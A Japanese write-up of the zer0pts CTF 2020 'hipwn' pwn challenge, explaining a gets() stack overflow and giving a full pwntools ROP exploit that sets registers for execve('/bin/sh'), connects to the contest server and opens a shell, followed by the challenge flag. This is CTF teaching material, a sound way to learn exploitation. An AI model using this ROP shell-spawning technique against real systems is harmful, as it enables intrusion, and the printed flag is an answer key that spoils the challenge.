[zer0pts CTF 2020] hipwn

Hi, all pwners over the world!

解説

main関数に露骨なgetsによるバッファーオーバーフローがある
NXbitが有効なのでROPによってシェルコードを構築する

シェルコードをつくる

シェルコード内では大概以下の3つの処理が行われる

  1. /bin/shを用意する
  2. レジスタの状態を整える
  3. syscall

syscallはraxに入っている値に応じたシステムコールを呼び出す処理
ファイルを実行するシステムコールexecveの番号は59なのでraxは59にする

execveの関数定義はint execve(const char *filename, char *const argv[],char *const envp[]);

x64のLinuxでは、第1引数はrdi、第2引数はrsi、第3引数はrdxなので、最終的には以下のようにレジスタに値をセットしたい

reg val
rax 59
rdi address of "/bin/sh"
rsi 0
rdx 0

exploit

#!python
from pwn import *

target = ('nc 18.179.178.246 9010'.split(' '))
target_ = './chall'

elf = ELF(target_)

pop_rax = p64(0x00402ea5)
pop_rdx = p64(0x00402db8)
pop_rdi = p64(0x0040141c)
pop_rsi_r15 = p64(0x0040141a)
addr_gets = p64(0x4004ee)
syscall = p64(0x00402ea1)
loc_binsh = p64(0x604000)

io = process(target)

payload = b'A'*0x108
# make binsh
payload += pop_rdi
payload += loc_binsh
payload += addr_gets
# set rax
payload += pop_rax
payload += p64(59)
# set rdx
payload += pop_rdx
payload += p64(0)
# set rsi
payload += pop_rsi_r15
payload += p64(0)
payload += p64(0)
# set rdi
payload += pop_rdi
payload += loc_binsh
# syscall
payload += syscall

io.sendlineafter('?', payload)
payload = b'/bin/sh'
io.sendline(payload)

io.interactive()

"/bin/sh"はgetsを用いて用意した

zer0pts{welcome_yokoso_osooseyo_huanying_dobropozhalovat}